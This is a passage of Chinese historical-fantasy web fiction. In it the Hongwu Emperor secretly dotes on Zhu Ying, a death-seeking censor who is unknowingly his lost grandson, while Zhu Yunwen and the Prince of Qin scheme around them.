“这天气分明不错,老大却说这天色不好。老大是不会错的,也就是说,老大说的并非表面的天色....” 张平喃喃自语,眼前越发亮了。 “老大莫不是意指这朝局?” “是啊,原本这朝局就不太安宁,眼下秦王殿下又入了京....” “多事之秋啊....” “老大我明白了,我...” 张平猛地抬头,却发现朱煐已经走远了,赶忙追了上去。 ...... 两人走到宫门口,忽然被人追上叫住。 叫住两人是不是别人,正是锦衣卫都指挥使蒋瓛。 “朱御史慢走!” 朱煐和张平听到声音,不由驻足转身。 蒋瓛满面笑容地迎了上来。 平日里蒋瓛不苟言笑,可面对朱煐,他却让他那原本不擅长微笑的脸努力挤出了几分笑容。 “蒋指挥使?” “陛下传召,让朱御史别走,去御书房聊聊。” “这....?” 朱煐一愣,不知道老朱这是打的什么主意。 “难道是老朱又想明白了?想杀我?” 朱煐心中排腹。 不过这终究是好事,能和老朱多一些接触的机会,那就意味着能更好的在老朱的心里留下一些不好的印象,对于完成目标也能更近一步.... ..... 这边,朱煐被蒋瓛叫住,带着前往御书房。 而另一头。 在御书房的老朱则是有些坐立不安。 是他让蒋瓛传召朱煐的。 至于原因....倒也简单,单纯就是想大孙子了,想有一些和大孙子独处的机会。 前两天一来这一个多月以来的黯然神伤耽搁了不少的政事需要处理,忙于政务,二来老朱担心自己过于着急地传召,会让朱煐察觉到异常,于是他努力忍耐,这第三天了,也是忍不住了。 “今日这朝堂上发生了这么多事,咱传召咱大孙议议,这也是合情合理吧?” “该不会被看出来吧?” 老朱喃喃自语。 若是有熟悉老朱的旁人在此,看到老朱这般模样状态,定然会大吃一惊。 这可是堂堂洪武大帝,是大明的开国皇帝啊!什么事能让他这般惴惴不安,拿捏不定? “咚咚咚。” 敲门声响起。 老朱听到敲门声,赶忙慌乱地坐到了桌案前。 坐定之后,原本脸上的焦急之色顷刻消失,浮现在脸上的只有淡然。 强壮镇定后的老朱才看向御书房的房门方向。 门外,传来蒋瓛的声音。 “陛下,朱御史门外觐见。” “嗯,让朱御史进来吧,咱正在批阅奏章呢。” 说着老朱赶忙随手掏了一本奏章摊开放到面前,手上迅速拿起一根朱笔。 房门被推开,蒋瓛带着朱煐走入了御书房。 朱煐一眼就看到了正拿着朱笔批阅奏章的老朱,看到自己和蒋瓛进来之后,老朱徐徐放下了手中的朱笔,抬头看了过来。 而看到老朱的神情,朱煐心情就低落了三分。 这老朱,也不见怒的样子啊... 难不成真就是日常召见? 好在朱煐心性也是不错,他经历的事不少,心态上早就得到了不小的锻炼,急于求成是要的,但要是急于求成却又没成,那倒也无妨。他很快就调整好了心态。 “臣朱煐,叩见陛下。” 老朱看向朱煐,脸上露出笑容。 “哈哈哈哈,朱御史,快快请起。” 边说着老朱竟是直接起身来到朱煐面前,直接一把将他给扶了起来。 “????” 朱煐不由一愣。 看着眼前笑容满面,务必和蔼的老朱。 虽然这几天的经历让他猜测这满清修的明史对老朱应该进行了不小的艺术加工,老朱真实的性子应该没有那般暴戾,可....就算不暴戾,也不至于这么和蔼吧? 明史上写着性情暴虐的洪武大帝老朱,现实里就这? 和蔼可亲? 这亲和力....怎么感觉比李二还李二啊? 朱煐是见过李二的,心里不自觉将李二和眼前的老朱作比较。 要说亲和力,李世民也很有亲和力,可那亲和力在朱煐看来,是有所保留的,他敏锐的感觉可以感觉到一些,李二的亲和是有一些演的成分。可眼前的老朱.... 朱煐分明感受到的是无与伦比的,发自内心的真挚! 就只有两种可能。 第一,老朱确实很有亲和力。 第二,老朱演技比李二还要更高! 不过无论是哪一种可能性,这眼前的老朱,和史书中所谓的暴虐,那是半点也搭不上边了.... 甚至,一点暴虐的苗头都看不到.... “哈哈哈哈,好!好啊!” 老朱的手搭在朱煐的手臂上,感受着手上真实无比的触感的老朱心情无比激动。 咱孙! 咱可算是搂到咱大孙了! 第27章 朱煐VS朱允炆? 老朱的心情好极了。 朱煐在老朱的眼里就像是一块烫嘴的豆腐,想吃却又不敢吃,而眼下,老朱名正言顺地吃上了一口朱煐的豆腐..... 朱煐看了眼忽然高兴起来的老朱,心中疑惑且无语。 这老朱是人老了,脑子也出了什么问题吗? 怎么这心情时好时坏,阴晴不定的? “不知陛下召臣前来,所谓何事?” “若是陛下想问臣与凉国公的关系,臣只能告诉陛下,臣与凉国公之间清清白白,无非是出于公义为凉国公仗义执言而已。” 朱煐语气强硬,试图引起老朱的反感。 没想到老朱大手一挥:“与此事无关,朱御史的为人咱还是清楚的,爱卿不必多虑。” “来来来,坐下说话。” 老朱将有些懵逼的朱煐拽到身边,一路拽到了批阅奏章的桌案旁,拉着朱煐坐下。 “陛下,臣忽然想起来这锦衣卫卫所里还有些事情尚未处理,臣先出去处理一下,您看...?” 老朱看了眼蒋瓛:“这卫所的事可是大事,你且忙去,有朱御史陪着咱,这里暂时用不上你了。” “臣告退。” 蒋瓛很有眼力地告退,捎带着还关上了御书房的房门。 偌大的御书房里,只剩下了朱煐和老朱两人。 平日里老朱节俭,这御书房里除了批阅奏章的桌案旁点着几盏灯之外,其他地方都是不点的,省点灯油钱。不过眼下的御书房却是灯火通明,摇曳的一束束火光映照整个御书房,把朱煐的脸照得格外清晰。 老朱的眼睛就这么直勾勾地盯着朱煐,仔仔细细地打量着。 这眼神,把朱煐都给看的有些发毛了。 “陛...陛下,您这是看什么呢?” 朱煐摸了摸脸:“是臣的脸上有什么东西?” “哈哈哈哈哈!” 老朱放声大笑:“咱看咱大明的肱股之臣啊。” “这几日的朝堂,有了爱卿,才让百官感觉到了些许的压力,活泛了不少,不似之前那样一潭死水了。” “朱御史,你居功至伟啊。” “朝中文武大部分都是庸庸碌碌,尸位素餐之辈,朱御史你日前的一番话,让咱也是茅塞顿开啊!” “仔细想想,这些趋炎附势之徒,着实让人头疼。幸好咱得了贤臣。” 老朱说着光明正大地盯着朱煐不断地上下扫视,一边看还一边咂舌:“咱得好好看看咱的贤臣,大明肱股,国之柱石!” “能生出朱爱卿的,也是不凡。” 老朱还不忘暗戳戳地夸赞自己一句..... ...... 朱煐看着老朱,心中暗道不妙。 怎么莫名其妙被老朱给欣赏了? 贤臣? 大明肱股? 国之柱石? 这我还怎么功德圆满? 不过朱煐转念一想。 这老朱杀的功臣贤臣还少吗? 照这么来看的话,好像也不耽误自己么.... 朱煐正想着,老朱已经把一份奏章给摆到了朱煐的面前。 “朱御史,你替咱看看这所奏之事,换做你,你该如何处置?” 老朱的话让朱煐回过神,朱煐扫了一眼。 这是一份有关河道治理的奏疏。 “陛下,这河道治理是常有的事,按部就班批复就是了,这需要有什么处置?” “朝廷诸事,除了极少数之外,大部分都依照惯例去做就好,没什么特殊的吧?” 对于这些朝廷政事的处理,朱煐也算是得心应手,前几世的时候就干过辅政大臣,基本上朝廷遇到的事情都是大同小异,按照章程奏就好,只有少数事情需要特别处理。 这也是为什么很多朝代,哪怕皇帝中庸,不怎么管事,朝政也依旧如常运行不怎么会出乱子的原因。 老朱闻言不由一愣。 旋即眼前一亮。 他执政这么多年,太明白朱煐这话的意思了! “陛下,臣以为,这专业的事情让专业的人去解决就好,臣对这河道治理不太懂,陛下遣一擅长河道治理的人过去治理河道,这不就好了?” 朱煐的话落入老朱的耳中,老朱心中连连点头,看着眼前的大孙更是满意了.... ..... 而与此同时。 东宫。 朱允炆退朝之后就赶忙回到东宫给吕氏绘声绘色地说起了这朝堂上发生的事情。 “母后,这皇爷爷他到底是什么意思啊?这蓝玉到底杀不杀?” 吕氏看了自己的儿子一眼,摇了摇头:“你皇爷爷的心思,谁能猜得准?不过至少眼下你皇爷爷是没有杀蓝玉的意思。这朱煐倒是个硬骨头,当朝与秦王激辩,当真是个不要命的疯子!” “这样的人,轻易不要招惹。” 朱允炆点了点头:“孩儿晓得。” “允熥呢?他怎么样?” “回母后,允熥还是和前两天一样,魂不守舍的,想来确实没有争储的想法。” 吕氏看了朱允炆一眼:“你啊,身为大哥,要多关心关心自家的弟弟,允熥他的心里想什么,在做什么,平日里有什么需要,这些事情你都得仔仔细细地了解清楚,允熥年纪小不懂事,你这个当哥哥的得帮衬帮衬。” 朱允炆点头记下。 吕氏继续道:“还有你皇爷爷那头,皇储究竟是不是你,其他都是外物,最终还是你皇爷爷一言而断,你既然想坐上这个位置,其他事情都是小事,唯独你皇爷爷那头,你得好好亲近亲近,只要你皇爷爷认可了你,这位置也就十拿九稳了。” “娘已经让御膳房炖了一锅鸡汤,你亲自去御膳房一趟取来端给你皇爷爷,你皇爷爷日理万机,身体得保重,你这当孙子的,每天都得去御书房问候几次,大明立朝,孝义为先,你得牢牢记着。” “母后放心,允炆明白,允炆这就去御膳房。” “去吧。” ..... 吕氏的意思朱允炆已然十分清楚。 这皇储究竟是谁,还得看老朱的想法,只要能在老朱面前多露脸,积累到足够的好感,那自然,这皇储之位也就毋庸置疑了。 朱允炆来到御膳房取了炖好的药膳鸡就往御书房去。 御书房里,老朱正在考校朱煐。 原本老朱只是想着随意考考,可随着朱煐面对一本本不同的奏章,进行不同的批阅,条理清晰,理由充分,甚至处理起来显得经验十分老道,这彻底惊呆了老朱。 “难道这就是天赋吗?” “雄英这孩子,是天生帝王?” 老朱瞪大了眼睛看着朱煐随意在奏章上批复,看似随意,实则滴水不漏。 老朱看着眼前的朱煐,已然惊呆。 咱大孙...这可二十都不到啊!而且还得了失魂正,自小在外漂泊,不可能有机会接触这般国家大事。 除了生而知之之外,老朱想不到第二个合理的理由! 天赋,这就是天赋啊! 老朱看着朱煐的眼睛愈发亮了,就像是在看一件稀世珍宝! 看着朱煐,老朱的内心感慨万千。 原本亲儿子去世,给了老朱一个重击,没想到阴差阳错死去多年的大孙子居然死而复生,而且还无比优秀,靠着自己考入了殿试。且有着常人所难有的气节,品行更是不用说,为了天下苍生,宁愿坦然赴死,这是何等操守? 拥有卓越敏锐的政治嗅觉,比自己居然还更早留意到皇储之位背后留下蓝玉所会造成的危险。 而眼下,处理从未处理过的国家大事,居然天然地得心应手! “这难道便是上天留给咱,留给大明的未来储君吗?” 老朱年轻时是不信命的,可随着年纪越来越大,经历的事情越来越多,他越发信命。 人力有穷时,很多事情并非人力所能及,在命运面前,老朱感觉到了深深的无力。 而在朱标去世后,老朱更是绝望。 但眼下,看着年轻的朱煐,老朱忽然觉得,或许上天....也是怜惜上咱了? “朱御史。” “嗯?” 朱煐抬头,他批阅奏章早已得心应手,毕竟前几世中,在贞观朝的时候,李二这货死活不杀自己,反倒是逼得自己一步步成了辅政大臣,一直到李二去世,儿子继位才功德圆满,大唐的国情虽然和大明的不同,可大体还是差不多的,批阅奏章对于朱煐来说很轻松。 “这些奏章你见过?这奏章批阅的很熟练啊。” “陛下,可能是这些东西太简单了吧,臣只是随便看看,就自然会了。陛下不会觉得这些东西很难吧?” 老朱:“......” 他娘的,容易? 咱当年可是学了好一阵,吃了不少亏,被坑了不少次才一点点学会的! 听着朱煐的话,老朱总算是明白了什么叫做人比人得死,货比货得扔了。 不过这转念一想。 老朱心中却是乐了。 咱和咱大孙有什么好比的? 乖孙优秀,青出于蓝而胜于蓝,对大明是大好事啊! 是天佑我大明! ..... 就在爷孙两人交流着治政心得的时候.... “咚咚咚。” 御书房的房门被敲响。 “爷爷,允炆求见。” 朱允炆的声音传入御书房,老朱和朱煐才止住了闲聊。 因为无惧,所以无谓,朱煐在老朱面前感受不到半点拘谨,言谈间对老朱充满了冒犯,寄希望于能给老朱留下一些不好的印象,以此在关键时刻发挥作用。 要是能无理作死,朱煐有一万个找死的法子,可要为家国天下而死,且为了避免误判,朱煐只能寻找机会或者自己制造机会,无理找死除了真的死了之外并无用处。 不过日常铺垫,朱煐还是轻车熟路的,甚至可以说已经刻在了骨子里。 皇权本身就是一个充满威严的东西,你对皇权的不敬自然会让高高在上的皇帝不满,这是其中的本质道理,是立场不同的必然。 虽然老朱表面上笑呵呵的,可朱煐心中笃定,自己对皇权的‘不敬’已然被老朱所恶,只是上位者喜怒不形于色,他未曾表露罢了。 然而这会儿的老朱,脸上笑颜如花,心里更是高兴得不行。 “不趋炎附势,刚正不阿,好久没有遇上一点都不怕咱的人了。” “不愧是咱大孙,这般胆魄,除了咱乖孙之外,还有谁?” “莫说是允炆允熥了,这小子倒是比他几个叔叔性子还要更强啊。” 老朱心中啧啧赞赏,高兴不已。 越看朱煐,越是在他的身上看到了大明朝未来的希望。 一个皇帝,性子不能软弱,性子强硬,能力不凡,政治嗅觉敏锐....这是什么样的模版? 直到朱允炆的声音从门外传入,老朱才从窃喜中回过神来。 听到朱允炆的声音,想到朱允炆,老朱不由暗暗摇了摇头。 这要是没有朱煐,朱允炆在朱允熥的烘托下,在老朱眼里倒是也还勉勉强强过得去。 虽然能力上差了些,可毕竟年纪尚小,可以培养,性格也还行,还有一些孝心,人品也算得上端正。 朱允炆虽然不如朱标,可相较于朱允熥这个竞争对手而言,那可强太多了。 可眼下,老朱下意识地就在脑子里把朱允炆和朱煐两人之间相互进行了一番比对。 这刚一比对,高下立判。 论孝心? 朱煐九岁养父母卧病在床,九岁身躯扛起一整个家,一边科考一边赚钱,养父母重病也未曾抛弃,而是送两人安心离世。 论胆魄? 入朝三日,几乎满朝皆敌。 刚入殿试就敢抛却大好前程和性命死谏。 老朱自认,在这胆魄上,哪怕是自己,也是不如。 论能力才学? 那更是没法比了,两人就不是一个级别的,尤其是老朱在见到朱煐批阅奏章的老练,这与生俱来的天赋....这是人? 若非亲眼所见,谁敢信? 人比人得死,老朱下意识的一个对比,心中对于自己原先的决定,更加坚定了。 大明的未来,自然要交给一个更加让自己放心的人.... “允炆啊。进来吧。” 回过神来的老朱应了一声。 朱允炆虽然和朱煐相比的话是不争气,但好歹也是个孙子。 人越老,对于亲情就越发看重,尤其老朱刚痛失朱标这个爱子,对于亲情老朱看得更重了。 ...... 嘎吱... 伴随着房门打开的声音,朱允炆端着一盅鸡汤笑容满面地推门而入。 而当看到坐在老朱身边的朱煐的时候,朱允炆不由一愣。 “朱御史,你...你怎么在这儿?” 第28章 朱允炆心态崩了! 朱煐尚未答话,老朱一把拉住了准备起身的朱煐。 “自然是咱让来的。” 朱允炆一愣,旋即脸色恢复如常,端着鸡汤赶忙走到老朱面前。 “皇爷爷,允炆给您送鸡汤来了。您这日夜操劳,身子骨可得注意,大明可不能没有您啊。” 朱允炆情真意切地说道。 这一套他已经是十分熟稔,送鸡汤,送粥,送饭,这几乎是日常。 在母亲吕氏提点之后,朱允炆几乎把握住了一切合理见老朱的理由,在老朱面前疯狂刷好感度。 这也让他在老朱的心中留下了一个‘孝顺’的印象。 看着老朱,朱允炆的眼里满是期待。 寻常的时候,每当他这一顿操作,总会得到来自老朱的夸赞。 然而这一次,等待夸赞的朱允炆却失望了。 老朱看了眼鸡汤,赶忙小心翼翼地接过,然后拿起碗就盛了一碗,之后在朱允炆错愕的目光中,老朱将手里刚刚盛好的鸡汤递给了朱煐。 “朱御史,你尝尝咱这御膳房师傅的手艺如何?” 老朱满脸笑意,甚至笑意中带着些许的谄媚。 一旁的朱允炆已然看呆了。 他瞪大眼睛错愕地看着老朱。 不是,爷爷,你这是什么操作? 朱允炆看着老朱一脸笑意地把亲自盛好的一整碗鸡汤递到朱煐手里,整个人都懵了.... 朱煐也是一愣。 这是什么操作? 不够旋即,他想到了一种可能性。 所谓事出反常必有妖,老朱堂堂大明洪武皇帝,自己却屡次三番触怒于他,他会这么好心,亲自给盛鸡汤? 上位者对下位者的友善,无非就是两种缘由。 第一个可能性就是收买人心。 显然,这并不可能,自己频繁触怒老朱,老朱表面上不说,但必定已然是惦记上了自己,不过是还没有到杀的程度。 对此,朱煐十分自信。 那这第一个可能性排除之后,就只剩下了第二个可能性——试探! 这又是一次不动声色的试探! “想试探我对皇权的态度?” “好好好。” 朱煐顿时心中暗喜,在朱允炆愕然的目光中,就这么大大咧咧地直接接过了鸡汤,没有半点推辞,也没有半点感谢,就这么水灵灵地拿起勺子,喝了起来... “如何?” 看到朱煐这‘无礼’的举动,老朱却并未在意,反倒是一脸希奕地看着朱煐。 在老朱心里,自家大孙对自己无礼才好嘞。 老朱给朱煐盛的鸡汤里还有一根鸡腿,由于炖的时间够久,鸡腿上的鸡肉十分软烂,朱煐只是轻轻一抿,鸡腿上的鸡肉就被他吃到了嘴里,入口即化偏偏还带着一点肉丝之间筋骨的嚼劲。 “鸡肉不错,就是淡了点。” “淡了?” 老朱顿时眉头一皱,看向一旁此刻正目瞪口呆的朱允炆。 “允炆,这鸡汤怎么淡了??” “????” 朱允炆原本就处于错愕中,被老朱这么一问,顿时整个人就麻了.... 不是,皇爷爷,这小子他娘的也配吃我鸡汤? 这是给您的啊! 朱允炆张了张嘴,可脑海里却不由自主地出现和老朱顶嘴人的下场,嘴巴瘪了瘪,最终还是没有说出话来,苦笑着回道:“皇爷爷,御医说您年龄大了,饮食须得清淡些。往常也是这口味....” “胡说!咱什么时候吃清淡了?咱一直吃的都是重口!” “往常的鸡汤有这么淡吗?” “行了,快些去御膳房取些盐巴来,这鸡汤淡出个鸟来了,怎么吃?” “????” 老朱的一番怒斥,顿时让朱允炆再度傻了眼。 不是,皇爷爷。 这您以往可不是这么说的啊! 您前几日不还说我孝顺,知道关心您身体了吗? 这会儿怎么就变卦了? 朱允炆体会到了什么叫做什么叫做翻脸比翻书还快了,也不敢顶嘴,只好郁闷地告退,去御膳房取盐巴去了.... ..... 老朱小心翼翼地看了眼朱煐。 “朱御史,其实咱也不喜欢吃清淡的,咱年轻那会儿啊,最喜欢吃的就是重口,顿顿都得加盐!” “咱俩的口味倒是像,都好重口,也算是有缘了。” 老朱笑呵呵地冲朱煐道。 朱煐:“.....” 这算哪门子的缘分? 这怎么回事?这老朱怎么像个傻子? 不可能,堂堂洪武大帝,怎么可能是个傻子? 只是这丫的在打什么主意呢? 朱煐脑子里琢磨,可琢磨半天却又觉着捉摸不透.... 看着笑呵呵傻乐的老朱,朱煐心中一正,心中一凛。 不愧是洪武大帝! 深不可测啊! 我朱煐,历经八世,有着丰富的伴君经验,皇帝的心思,约莫着都能猜个八九不离十,可眼前的老朱,却一次次都做出了异于寻常皇帝的表现,更是让自己捉摸不透! 不愧是出身最低的大明开国皇帝! 朱煐心中不由对眼前这喜怒不形于色,深不可测的老朱升起了些许的钦佩。 他又不由想到了那修明史的清朝官员,心里又把这些家伙给骂了一顿。 就连自己都看不透的老朱,成天把笑挂在脸上,分明就是一头笑里藏刀心思深沉的笑面虎。在明史里,居然就成了一个半疯皇帝,一个行径粗暴的暴虐之君? 低估!这是对老朱妥妥的低估! 朱煐心里思绪流转的同时,老朱则是在默默地打量着眼前的大孙子。 看着端着鸡汤愣着的朱煐,当即关切开口。 “朱御史,这鸡汤要是不合胃口的话就先别喝了,等允炆他拿了盐巴回来,加了盐巴咱们再吃。” 朱煐回过神来,一口干掉了鸡汤。 “味道倒也还行,陛下,允炆殿下说的不错,您这年纪大了不像我们年轻人,您这饮食得注意啊,还是听御医的吧,万一一个不注意饮食,犯了病,臣可就成大明的千古罪人了。” 朱煐说着偷偷观察老朱。 可老朱先是一愣,旋即脸上却又再次堆满了笑容。 朱煐看傻了。 不是,我都这般触犯龙颜了,你还能忍?半点不流露不喜之色? 这哪里是暴虐帝王,这城府之深,冠绝古今啊! 朱煐哪知道这会儿老朱的想法。 老朱这会儿心里正美着呢。 听着朱煐的这番话,落在老朱的耳朵里却又是另一种意思。 “咱孙这是在关心咱的身体?” “大孝!上天待咱不薄啊!” ...... 而与此同时。 另一边的朱允炆,郁闷地离开了御书房,走在去御膳房的路上。 越想,朱允炆的心里越憋气。 不是,凭什么? 为什么? 皇爷爷怎么就待那朱御史那般好? 今天没得皇爷爷夸奖也就算了,还因为那小子的一句话,让我堂堂皇孙,去御膳房取盐巴? 奇耻大辱! 欺人太甚! 朱允炆越想越委屈,但他也无可奈何。他是皇孙,也只是皇孙。 “蓝玉欺负我,那些武人欺负我,还有这狗屁朱煐也欺负我!” “都给我等着!等来日登基,要你们好看!” 朱允炆心里愤懑不平地想着。 边想,他一边到了御膳房取了些盐巴。 等朱允炆回到御书房的时候,推开门,只看到了老朱一人。 朱允炆顿时愣住了.... “皇爷爷,朱...朱御史呢?” 朱允炆端着一小碗的盐巴走到桌案前,而走近前一看的朱允炆顿时又呆愣在了原地.... 在老朱旁边,原本的那一盅满满当当的鸡汤只剩下了几根鸡骨头放在碗里.... 不是,我鸡汤呢? 朱允炆如遭雷击,人当场呆愣在了原地。 老朱瞥了朱允炆一眼:“朱御史喝完鸡汤回府了,下回让人做的时候记得加些盐巴,这来来回回跑一趟,怪麻烦的。” “把这些碗筷给撤了吧。” 老朱挥了挥手,然后低下头,也没有看朱允炆一眼,自顾自地继续批阅起了奏章。 “????” 朱允炆站在原地,人麻了.... 合着我的鸡汤几这么被一个外人给全喝了? ..... 而与此同时。 另一头,酒足饭饱的朱煐刚走出御书房就被蒋瓛给拦下了。 “蒋大人,您这是?” “朱御史,陛下让我将这东西交给你。” 蒋瓛说着从怀里掏出了一块乌黑色的铁牌,上面纂刻着细密的纹路。 “这是?” 朱煐疑惑地看向蒋瓛。 “今日您得罪了秦王,陛下担心秦王找您麻烦让我给您府里调去了三名锦衣卫,都是好手,您拿着这锦衣卫百户令牌即可调遣他们,有事的时候他们便是锦衣卫,无事的时候,您安排他们做些跑腿的活儿也无妨。” 蒋瓛笑呵呵地冲朱煐说道,同时心中更坚定了要全力交好朱煐的想法。 眼下皇孙的身份可只有自己知晓。 这可是个难得的好机会! 陛下这般青睐皇孙,就连锦衣卫都任凭调动,日后储君之位,想来已经有结果了。 蒋瓛心里想着,同时窃喜。目前为止,除了陛下之外,自己是唯一知晓皇孙身份的,换而言之,眼下谁也不知道,眼前这位脾气秉性有些异常的朱御史,将会是未来大明的储君! 这可是....从龙之功啊! ...... 朱煐看着眼前蒋瓛递上来的锦衣卫百户令牌,先是一愣。 旋即,听到蒋瓛的解释后,心中顿喜。 锦衣卫都派遣入府了? 果然!皇帝终究是皇帝,无论表面上表现出来如何的和蔼可亲,依旧难测君心! 这不,直接把锦衣卫安插到府宅里了! 这是要时时刻刻监视的意思啊! 这要是换做旁人,指定是屎尿都给吓出来了。 锦衣卫的名声,谁不怕?更遑若让锦衣卫直接进驻府宅了。 可在朱煐眼中却不同。 老朱安排锦衣卫入府? 好机会啊! 什么保护自己?这分明就是监视! 监视好哇,正愁寻死的机会太少呢。 “多谢陛下关心,多谢蒋大人关照了。” 朱煐笑着接过百户令牌。 蒋瓛此时又凑近到朱煐耳边小声道:“朱御史,日后咱也算是自己人了,有这令牌,您也算是锦衣卫百户。若是当真碰上了麻烦,可差人来找我,这应天府地界,还没有人敢欺负咱锦衣卫的。” 朱煐看着一脸真挚的蒋瓛不由一愣。 旋即心中哑然。 好一个真挚的眼神! 要不是知道你是锦衣卫的头头,我差点就信了。 ..... 告别蒋瓛。 朱煐回到府中。 由于府宅离皇宫近,没几步的路程,不像其他的官员那般需要雇轿子。 朱煐刚回府就看到了站在小院里的张平。 除了张平之外,还有三个陌生的面孔。 一个瘦高个子,一个矮胖子,还有一个装扮英武秀气,胸口微微隆起,哪怕是绑紧的束胸也难以完全掩盖,朱煐一眼就看出来这丫的是个女子。 “老大,你可算回来了!” “可担心死我了!” 张平看到朱煐眼前一亮,赶忙迎了上来。 “我还以为陛下要寻你算账呢,如何?陛下可是说了些什么?” 张平关切询问。 “也没什么,陛下就是让我去御书房看了看奏章,喝了碗鸡汤,一番勉励吧。” 张平闻言一愣。 “看奏章?” “喝鸡汤?” “一番勉励?” 张平一愣之后旋即就是大喜。 “老大,你这是深得圣眷啊!” 那可不?陛下都让锦衣卫跟着我混了,圣眷那是相当的圣眷,这再圣眷一些,咱离功德圆满就不远了。 朱煐瞅了一眼张平身后的三个陌生面孔。 ....... 张平见朱煐平安也就放心离去了。 而朱煐经过一番交流也了解了眼前这三个锦衣卫的基本情况。 这高瘦个子和矮胖子是一对孪生兄弟,瘦高个子叫高龙,矮胖子叫高虎。 朱煐也没有看错,剩下的那名锦衣卫确实是女子,叫杨柳。 杨柳是锦衣卫暗中培养的死士,自小父母双亡被锦衣卫收养,杨柳天生拥有对危险的敏锐直觉,这也是蒋瓛将她安排过来的原因。 很快朱煐就发现了这三个锦衣卫的其他能力。 高龙识字,会算账。 高虎的厨艺很好,之前一直被老朱安插在御膳房,他的身份也是御膳房的厨子,手艺很不错。 朱煐在屡次求死不成之后已经改变了原先的计划,决定徐徐图之。 既然要徐徐图之,那自然就要在大明较长期地驻扎下来,伺机而动,寻找机会。 原先朱煐是准备今天去找几个下人小厮的,不过有高龙高虎,朱煐也懒得浪费那功夫了。 再者就是朱煐不希望牵连他人。 锦衣卫可不是什么好鸟,老朱让这些锦衣卫来监视自己,自己死了那自然是皆大欢喜,可要是因为府中的下人不小心说了什么不该说的话,导致府内下人遭到牵连,心里还是有些过意不去。 思虑之后。朱煐决定干脆就不找了。 ...... 而与此同时。 应天府的另一边。 今天刚入京城的朱樉经历了日间朝堂上的一系列事情后,回到住处赶忙召集了自己的心腹手下对白天朝中发生的事情进行复盘。 朱樉今日在朝中感受到了此前从未感受到过的诡异局面。 堂堂秦王,差点被人指着鼻子骂成孙子。 可这人居然屁事没有,毫发无伤? 简直离谱! 朱樉此次回京只带了十余人,都是秦王府的心腹,众人分坐两侧。 将朝中之事详细叙述了一遍之后,朱樉看向了左侧收尾的老叟。 “先生,你说这朝中眼下是什么局面?” 第29章 朱樉登门 老叟叫吕凯,原先只是个教书匠,后来被朱樉阴差阳错救下入了秦王府,成了府中幕僚。 朱樉也不像年轻时那般莽撞了,他在老朱和自家兄弟手上吃了不少的暗亏,知道很多事情不能蛮干,得动脑子,于是逐渐开始用起了吕凯。 这一用,朱樉就体会到了有脑子的好处,一些别人埋下的坑,很轻松就被自己所知晓,不光能躲过,还能反将一军。 吕凯也逐渐在秦王府受了重用。 他儿女皆在秦王府任职,加上他的年龄又已过六旬,屡次献策皆有建树,朱樉对他十分信赖。 吕书匠皱眉沉吟片刻,旋即抬头露出笑容。 看到吕书匠露出笑容,朱樉心头也是松了口气.... 两人相交多年,互相都知道彼此的习惯,每当看到吕凯露出这样的笑容的时候也就意味着他已经想出了应对之策。 “先生可是想通了?” 吕书匠微微一笑:“回殿下,其实这局面倒也不算复杂,对殿下而言倒是好事。” “哦?此言何意?” 朱樉听闻此言也顿时来了兴致,好奇地看向吕书匠。 “其实一切的核心,皆在陛下。只要陛下还在朝堂上一天,那朝堂便是陛下的朝堂,而不会有任何超脱陛下掌控的东西。由此一点,即可断言,今日殿下所见朝堂之诡谲,其后必然是陛下一手布置的结果。” “我们不要去看朝堂上发生了什么,只需要看最终的结果是什么即可。” 吕书匠摸了摸花白的胡须,笑看向朱樉。 “所以先生您的意思是?” 朱樉以及在场一众幕僚眼前皆是一亮。 “朝堂上最终的结果是什么?” “其一,齐泰等上奏想斩蓝玉,朱御史死谏,结果是蓝玉未死。” “其二,这朱御史死谏,言殿下倘若造反,该当何处,借此留下蓝玉,然,殿下未受惩处。” “其三,这朱御史连翻死谏,先后得罪齐泰等一众文官,又擅言殿下,说是挑拨陛下与殿下您的父子之情亦不为过,然,这朱御史也未受惩处。” “朝会所生之事无非这三点,殿下听完之后可明白了几分?” 朱樉眼前一亮。 他在朝会时脑子里就有类似的想法,只是苦于没人梳理,想法零碎且杂乱。 而眼下吕书匠这一番话,顿时让他茅塞顿开。 “先生的意思是....” “其一,蓝玉未死,是父皇不想让他死,只是警告。” “其二,本王被构陷造反,却未受惩处,说明父皇也只是警告,未曾想要致本王于死地。” “其三,朱御史连翻死谏却未受惩处,他行此举是父皇授意?” 吕书匠欣慰地点了点头:“王爷所言不错,朝局看似纷乱,实则一切依旧在陛下掌控之中,而眼下显然陛下是在敲打各方。” “这朱煐出现得蹊跷,刚入殿试就受了陛下重用,或是他得了陛下授意,或是陛下只是以他为刀。” 吕书匠分析道。 “那本王是不是可以理解为,这朱煐所说,便是父皇想说却又不好说之事?” 说到这,朱樉眼前一亮。 “可以这么理解,王爷您想想,要是这么理解的话,那这朝上局面是否就明朗许多了?” 朱樉连连点头:“先生所言,令本王如醍醐灌顶,这一番抽丝剥茧,让本王茅塞顿开啊!” “原先本王还不知该如何行事,担心父皇对本王的态度,如今来看,一切就都明了了。” 吕书匠微微一笑:“王爷,若是不知该如何行事,不如试探一二?” “试探一二?先生您是说...让本王去试探父皇?” “可若是贸然试探父皇,是否会为父皇所不喜....”朱樉眉头微蹙。 吕书匠笑道:“王爷何必试探陛下?眼下这朱御史在,王爷去试探这朱煐便是。” 朱樉眼前顿时一亮。 “好计策!” “父皇让这朱煐为他发声,那这朱煐的态度...嘿!那这不就等于父皇他的态度了吗?” “先生妙计!” 朱樉看向吕书匠,心中无比庆幸此番入京带了这心腹幕僚。 这关键时刻,是真顶用啊! 年轻的时候朱樉对于文人不屑一顾,对于之乎者也更是嗤之以鼻,可随着阅历的增长,朱樉在几个兄弟以及封地官员、还有皇帝老爹的算计下吃了好些个暗亏,频频吃瘪,这之后才逐渐明白,这脑子里没有点东西,那是真不行! 而有了吕书匠之后的朱樉,如鱼得水,自此他就转变了对文化人的态度。 如果说年轻时候的朱樉对于文人是不屑一顾的话,如今的朱樉,对于有能耐的文人,心中充满了重视.... “王爷,若是想试探陛下的态度,备下厚礼,去拜访朱御史一趟即可,想来会找到王爷您想要的答案的。” 吕书匠笑道。 朱樉也是连连点头:“先生放心,本王这就备下厚礼,亲自登门!” ...... 朱樉入京第一日,消息如纸片般四散而去。 应天府就是整个大明的消息传播中心,各地州府,天下各方,或明或暗的各地各处势力全都时刻关注着这里的消息。 当朱樉入京的消息传出,潜藏在这应天府的一个个探子纷纷将这一消息给传递了出去。 很快,应天府北边数百里外的一处院落内,一伙人将这一消息呈递给了为首的一名中年男子。 “王爷,京城传出的消息,秦王入京后无恙,陛下并未责怪。” 